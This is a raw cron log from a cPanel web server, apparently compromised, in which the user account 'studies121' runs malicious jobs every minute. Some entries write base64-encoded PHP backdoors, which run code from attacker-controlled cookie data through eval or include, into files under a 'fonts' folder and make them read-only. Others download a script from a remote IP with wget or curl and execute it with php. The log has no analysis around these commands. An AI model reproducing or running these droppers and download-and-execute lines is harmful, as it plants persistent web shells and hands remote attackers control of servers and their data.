Sep 20 17:22:02 ip-184-168-122-23 CROND[14472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:22:02 ip-184-168-122-23 CROND[14473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:22:02 ip-184-168-122-23 CROND[14475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:22:02 ip-184-168-122-23 CROND[14476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:23:01 ip-184-168-122-23 CROND[14696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:23:01 ip-184-168-122-23 CROND[14698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:23:01 ip-184-168-122-23 CROND[14697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:23:01 ip-184-168-122-23 CROND[14701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:24:01 ip-184-168-122-23 CROND[14928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:24:01 ip-184-168-122-23 CROND[14927]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:24:01 ip-184-168-122-23 CROND[14934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:24:01 ip-184-168-122-23 CROND[14935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:24:01 ip-184-168-122-23 CROND[14933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:25:02 ip-184-168-122-23 CROND[15263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:25:02 ip-184-168-122-23 CROND[15265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:25:02 ip-184-168-122-23 CROND[15266]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:25:02 ip-184-168-122-23 CROND[15269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:25:02 ip-184-168-122-23 CROND[15267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:25:02 ip-184-168-122-23 CROND[15268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:26:01 ip-184-168-122-23 CROND[15498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:26:01 ip-184-168-122-23 CROND[15501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:26:01 ip-184-168-122-23 CROND[15502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:26:01 ip-184-168-122-23 CROND[15503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:26:01 ip-184-168-122-23 CROND[15500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:27:01 ip-184-168-122-23 CROND[15761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:27:01 ip-184-168-122-23 CROND[15762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:27:01 ip-184-168-122-23 CROND[15763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:27:01 ip-184-168-122-23 CROND[15765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:28:01 ip-184-168-122-23 CROND[16044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:28:01 ip-184-168-122-23 CROND[16046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:28:01 ip-184-168-122-23 CROND[16047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:28:01 ip-184-168-122-23 CROND[16048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:28:01 ip-184-168-122-23 CROND[16049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:29:01 ip-184-168-122-23 CROND[16324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:29:01 ip-184-168-122-23 CROND[16325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:29:01 ip-184-168-122-23 CROND[16326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:29:01 ip-184-168-122-23 CROND[16333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:30:01 ip-184-168-122-23 CROND[16575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:30:01 ip-184-168-122-23 CROND[16577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:30:01 ip-184-168-122-23 CROND[16579]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:30:01 ip-184-168-122-23 CROND[16580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:30:01 ip-184-168-122-23 CROND[16581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:30:01 ip-184-168-122-23 CROND[16582]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 17:30:01 ip-184-168-122-23 CROND[16583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:30:01 ip-184-168-122-23 CROND[16578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:31:01 ip-184-168-122-23 CROND[16925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:31:01 ip-184-168-122-23 CROND[16927]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 17:31:01 ip-184-168-122-23 CROND[16928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:31:01 ip-184-168-122-23 CROND[16930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:31:01 ip-184-168-122-23 CROND[16929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:32:01 ip-184-168-122-23 CROND[17187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:32:01 ip-184-168-122-23 CROND[17189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:32:01 ip-184-168-122-23 CROND[17191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:32:01 ip-184-168-122-23 CROND[17190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:32:01 ip-184-168-122-23 CROND[17192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:33:01 ip-184-168-122-23 CROND[17463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:33:01 ip-184-168-122-23 CROND[17464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:33:01 ip-184-168-122-23 CROND[17465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:33:01 ip-184-168-122-23 CROND[17466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:34:01 ip-184-168-122-23 CROND[17726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:34:01 ip-184-168-122-23 CROND[17729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:34:01 ip-184-168-122-23 CROND[17728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:34:01 ip-184-168-122-23 CROND[17730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
